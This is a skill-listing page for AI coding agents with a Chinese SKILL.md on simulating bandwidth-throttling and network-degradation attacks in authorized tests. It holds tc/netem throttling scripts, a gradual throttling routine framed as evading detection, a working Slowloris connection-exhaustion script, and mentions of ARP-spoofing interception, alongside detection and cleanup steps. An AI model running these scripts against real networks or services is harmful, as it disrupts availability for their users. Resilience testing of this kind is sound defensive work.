performing-bandwidth-throttling-attack-simulation
在授权环境中使用 tc、iperf3 和 Scapy 模拟带宽限速(Bandwidth Throttling)和网络降级攻击, 测试服务质量(QoS)控制、应用程序弹性以及网络监控对流量操纵攻击的检测能力。
Best use case
performing-bandwidth-throttling-attack-simulation is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
在授权环境中使用 tc、iperf3 和 Scapy 模拟带宽限速(Bandwidth Throttling)和网络降级攻击, 测试服务质量(QoS)控制、应用程序弹性以及网络监控对流量操纵攻击的检测能力。
Teams using performing-bandwidth-throttling-attack-simulation should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-bandwidth-throttling-attack-simulation/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-bandwidth-throttling-attack-simulation Compares
| Feature / Agent | performing-bandwidth-throttling-attack-simulation | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
在授权环境中使用 tc、iperf3 和 Scapy 模拟带宽限速(Bandwidth Throttling)和网络降级攻击, 测试服务质量(QoS)控制、应用程序弹性以及网络监控对流量操纵攻击的检测能力。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行带宽限速攻击模拟
## 适用场景
- 在授权的安全评估中测试应用程序对网络降级条件的弹性
- 验证 QoS(服务质量,Quality of Service)策略是否能检测并缓解网络中未授权的流量整形
- 模拟 Slowloris 类型攻击,通过降低带宽而非造成完全中断来影响服务
- 评估带宽类攻击对 VoIP、视频会议和实时应用的影响
- 测试网络监控工具检测异常带宽利用模式的能力
**禁止在以下情况使用**:未经授权或无维护窗口期的生产网络、制造拒绝服务(DoS)条件,或在无安全控制措施的情况下针对关键基础设施。
## 前置条件
- 带宽操纵测试的书面授权
- 安装了 tc(流量控制)、netem 和 iptables 的 Linux 系统
- 测试端和目标端均已安装 iperf3,用于带宽测量
- 已建立中间人(MITM)位置(ARP 欺骗)用于流量拦截场景
- 已部署网络监控工具用于检测模拟
- 测试前的基线带宽测量值
## 工作流程
### 步骤 1:建立基线带宽测量值
```bash
# 在目标端启动 iperf3 服务器
iperf3 -s -p 5201
# 从测试端测量基线带宽
iperf3 -c 10.10.20.10 -t 30 -P 4 -p 5201
# 记录:带宽、抖动、丢包率
# 测量基线延迟
ping -c 100 10.10.20.10 | tail -1
# 记录:最小值/平均值/最大值/标准差
# 使用 UDP 测试测量基线抖动
iperf3 -c 10.10.20.10 -u -b 100M -t 10 -p 5201
# 记录:抖动和丢包率百分比
# 记录基线值
echo "Baseline: BW=$(iperf3 -c 10.10.20.10 -t 10 -f m | tail -1 | awk '{print $7}') Mbps" > baseline.txt
echo "Latency: $(ping -c 50 10.10.20.10 | tail -1)" >> baseline.txt
```
### 步骤 2:使用 tc/netem 模拟带宽限速
```bash
# 在攻击者的转发接口上添加流量控制以限制带宽
# 这模拟了通过被攻陷路由器流经的流量被限速的场景
# 限制为 1 Mbps(严重限速)
sudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 50ms
# 或使用层次化令牌桶进行更精细的控制
sudo tc qdisc add dev eth0 root handle 1: htb default 10
sudo tc class add dev eth0 parent 1: classid 1:10 htb rate 1mbit ceil 2mbit
# 添加延迟和丢包以模拟链路降级
sudo tc qdisc add dev eth0 parent 1:10 handle 10: netem delay 200ms 50ms loss 5%
# 针对特定流量(仅限速到特定主机的流量)
sudo tc qdisc add dev eth0 root handle 1: htb default 99
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 1000mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc class add dev eth0 parent 1:1 classid 1:99 htb rate 1000mbit
# 过滤器:仅限速到 10.10.20.10 的流量
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
match ip dst 10.10.20.10/32 flowid 1:10
# 验证 qdisc 配置
tc -s qdisc show dev eth0
tc -s class show dev eth0
```
### 步骤 3:模拟逐步降级
```bash
#!/bin/bash
# 模拟随时间推移的带宽逐步降级
# 这模仿攻击者为躲避检测而缓慢限速的行为
IFACE="eth0"
TARGET="10.10.20.10"
# 阶段 1:基线(无限速)— 5 分钟
echo "[*] 阶段 1:基线(无限速)"
sleep 300
# 阶段 2:轻度限速(降低 50%)
echo "[*] 阶段 2:降低至 50 Mbps"
sudo tc qdisc add dev $IFACE root tbf rate 50mbit burst 64kbit latency 50ms
sleep 300
# 阶段 3:中度限速(降低 80%)
echo "[*] 阶段 3:降低至 10 Mbps"
sudo tc qdisc change dev $IFACE root tbf rate 10mbit burst 32kbit latency 50ms
sleep 300
# 阶段 4:严重限速 + 延迟 + 丢包
echo "[*] 阶段 4:降低至 1 Mbps + 200ms 延迟 + 5% 丢包"
sudo tc qdisc del dev $IFACE root 2>/dev/null
sudo tc qdisc add dev $IFACE root handle 1: htb default 10
sudo tc class add dev $IFACE parent 1: classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc qdisc add dev $IFACE parent 1:10 handle 10: netem delay 200ms 50ms loss 5%
sleep 300
# 阶段 5:恢复
echo "[*] 阶段 5:移除所有限速规则"
sudo tc qdisc del dev $IFACE root 2>/dev/null
echo "[*] 模拟完成"
```
### 步骤 4:模拟 Slowloris 类型的连接耗尽
```python
#!/usr/bin/env python3
"""授权带宽测试的 Slowloris 类型连接模拟。"""
import socket
import time
import threading
TARGET = "10.10.20.10"
PORT = 80
NUM_CONNECTIONS = 200
sockets = []
def create_slow_connection():
"""创建一个发送数据非常缓慢的连接。"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((TARGET, PORT))
s.send(b"GET / HTTP/1.1\r\n")
s.send(f"Host: {TARGET}\r\n".encode())
sockets.append(s)
return s
except Exception:
return None
def keep_alive():
"""发送不完整的请求头以维持连接。"""
while True:
for s in list(sockets):
try:
s.send(b"X-Padding: " + b"A" * 10 + b"\r\n")
except Exception:
sockets.remove(s)
time.sleep(15)
print(f"[*] 正在向 {TARGET}:{PORT} 建立 {NUM_CONNECTIONS} 个慢速连接")
for i in range(NUM_CONNECTIONS):
s = create_slow_connection()
if s:
if (i + 1) % 50 == 0:
print(f"[*] 已建立 {i + 1} 个连接")
time.sleep(0.1)
print(f"[*] {len(sockets)} 个连接已建立,正在发送保活请求头...")
print("[*] 按 Ctrl+C 停止")
try:
keep_alive()
except KeyboardInterrupt:
print(f"\n[*] 正在关闭 {len(sockets)} 个连接")
for s in sockets:
try:
s.close()
except Exception:
pass
print("[*] 清理完成")
```
### 步骤 5:测量影响并检测异常
```bash
# 在限速过程中重新测量带宽
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201
# 与基线值比较
# 测量延迟降级
ping -c 50 10.10.20.10
# 检查网络监控的检测结果
# 验证监控工具是否检测到了带宽变化
# 检查基于 SNMP 的监控(Cacti、LibreNMS、Zabbix)
# 接口利用率应显示异常模式
# 检查 Zeek 日志中的连接异常
cat /opt/zeek/logs/current/conn.log | \
zeek-cut ts id.orig_h id.resp_h duration orig_bytes resp_bytes | \
awk '$4 > 0 && ($5/$4 < 1000 || $6/$4 < 1000)' | head -20
# 低字节/秒比率表明存在限速
# 检查网络管理工具中的 QoS 告警
# NetFlow 分析:查找流量模式变化
# nfdump -r /var/cache/nfdump/nfcapd.* -s srcip/bytes -n 20
```
### 步骤 6:清理与记录
```bash
# 移除所有流量控制规则
sudo tc qdisc del dev eth0 root 2>/dev/null
# 验证清理结果
tc qdisc show dev eth0
# 应显示:qdisc noqueue 或仅默认 qdisc
# 如果使用了 ARP 欺骗,停止相关进程
sudo killall arpspoof bettercap 2>/dev/null
sudo sysctl -w net.ipv4.ip_forward=0
# 最终带宽测量以确认恢复
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201
```
## 核心概念
| 术语 | 定义 |
|------|------------|
| **流量整形(Traffic Shaping)** | 使用队列规则(qdisc)刻意操控网络流量速率以控制带宽分配 |
| **tc(流量控制,Traffic Control)** | Linux 内核子系统,通过队列规则(qdiscs)配置数据包调度、整形、管控和丢弃 |
| **netem(网络模拟器,Network Emulator)** | Linux tc qdisc,可模拟延迟、抖动、丢包、数据损坏和乱序等网络条件 |
| **令牌桶过滤器(TBF,Token Bucket Filter)** | tc qdisc,仅在有令牌时允许数据包通过,从而强制执行最大带宽限制 |
| **Slowloris** | 应用层攻击,通过建立大量连接并极缓慢发送数据来耗尽服务器连接池 |
| **QoS(服务质量,Quality of Service)** | 用于优先处理特定流量类型(VoIP、视频)并保证最低带宽的网络机制 |
## 工具与系统
- **tc/netem**:Linux 内核流量控制和网络模拟框架,用于模拟带宽限制和网络降级
- **iperf3**:网络带宽测量工具,用于建立基线和测量限速影响
- **Bettercap**:网络攻击框架,用于建立 MITM 位置以拦截和限速流量
- **Scapy**:Python 数据包操纵库,用于构造自定义流量模式和连接耗尽模拟
- **NetFlow/sFlow**:网络流量监控协议,用于检测异常带宽利用模式
## 典型场景
### 场景:测试 VoIP 系统对带宽降级的弹性
**背景**:某公司依赖基于 SIP 的 VoIP 进行业务通信。安全团队需要评估在各种网络攻击条件下 VoIP 质量的降级情况,以及通话在何时变得不可用。测试已在专用 VoIP 测试 VLAN 上获得授权。
**方案**:
1. 使用 iperf3 UDP 测试建立基线通话质量,测量 VoIP VLAN 上的抖动(<30ms)和丢包率(<1%)
2. 使用 ARP 欺骗在 VoIP 端点之间建立 MITM 位置
3. 使用 netem 逐步引入延迟(50ms、100ms、200ms、500ms),并在每个级别测量 MOS(平均意见得分)
4. 引入丢包(1%、3%、5%、10%)并测量通话质量降级情况
5. 将带宽从 1 Mbps 限制到 100 Kbps,确定 G.711 编解码器(需要 87.2 Kbps)的最低可用带宽
6. 验证网络 QoS 策略在共享链路受限时能否优先处理 VoIP 流量并恢复质量
7. 记录降级阈值并为 VoIP VLAN 推荐最低 QoS 保障
**常见陷阱**:
- 测试后忘记移除 tc 规则,导致测试网络上的带宽限制持续存在
- 测试速率过低导致通话完全中断,而非可测量的降级
- 未考虑 VoIP 编解码器差异——G.711 比 G.729 需要更多带宽
- 在共享 VLAN 上运行测试影响非测试流量
## 输出格式
```
## 带宽限速模拟报告
**测试 ID**:BW-THROTTLE-2024-001
**目标网络**:VLAN 60(VoIP 测试)
**测试时间**:2024-03-15 14:00-16:00 UTC
### 基线测量值
| 指标 | 数值 |
|--------|-------|
| 带宽(TCP) | 947 Mbps |
| 带宽(UDP) | 912 Mbps |
| 延迟(平均) | 0.8 ms |
| 抖动 | 0.2 ms |
| 丢包率 | 0.00% |
### 降级影响矩阵
| 条件 | 带宽 | 延迟 | 抖动 | 丢包 | VoIP MOS |
|-----------|-----------|---------|--------|------|----------|
| 基线 | 947 Mbps | 0.8 ms | 0.2 ms | 0% | 4.4 |
| 50ms 延迟 | 947 Mbps | 51 ms | 5 ms | 0% | 4.0 |
| 200ms 延迟 | 947 Mbps | 201 ms | 25 ms | 0% | 3.2 |
| 5% 丢包 | 947 Mbps | 0.8 ms | 0.2 ms | 5% | 2.8 |
| 1 Mbps 上限 | 1 Mbps | 45 ms | 12 ms | 2% | 3.0 |
| 100 Kbps 上限 | 100 Kbps | 380 ms | 95 ms | 15% | 1.2 |
### QoS 验证结果
- QoS 在 10 Mbps 阈值处检测到限速:是
- 限速期间 VoIP 流量优先处理:是(维持 3.8 MOS)
- 监控系统生成告警:是(14:15 UTC 带宽异常)
### 建议
1. 确保每路 VoIP 通话最低保障带宽 200 Kbps
2. 配置 QoS 以优先处理 DSCP EF(46)标记的流量
3. 将监控阈值设置为带宽利用率 80% 以实现早期预警
```Related Skills
recovering-from-ransomware-attack
按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。
performing-yara-rule-development-for-detection
通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。
performing-wireless-security-assessment-with-kismet
使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。
performing-wireless-network-penetration-test
执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。
performing-windows-artifact-analysis-with-eric-zimmerman-tools
使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。
performing-wifi-password-cracking-with-aircrack
在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-web-application-scanning-with-nikto
Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。
performing-web-application-penetration-test
遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。
performing-web-application-firewall-bypass
使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。